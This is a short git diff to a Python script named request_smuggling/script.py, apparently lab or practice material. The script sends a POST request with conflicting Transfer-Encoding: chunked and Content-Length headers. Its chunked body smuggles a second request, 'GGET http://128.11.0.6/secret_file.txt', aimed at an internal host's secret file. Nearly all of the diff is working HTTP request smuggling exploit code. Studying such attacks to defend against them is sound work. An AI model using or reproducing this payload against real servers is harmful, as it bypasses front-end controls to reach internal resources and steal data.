test

request_smuggling/script.py

@@ -29,10 +29,10 @@ print('\n\n')
 data='''
 
 0\r\n
-
-GET http://128.11.0.6/secret_file.txt'''
+\r\n
+GGET http://128.11.0.6/secret_file.txt'''
 byteLength = len(data.encode('utf-8'))
-headers = {'Content-Length' : str(byteLength), 'Transfer-Encoding' : 'chunked'}
+headers = {'Transfer-Encoding' : 'chunked','Content-Length' : 6}
 
 response = requests.post(urlServer, headers=headers, data=data)
 print(response.status_code)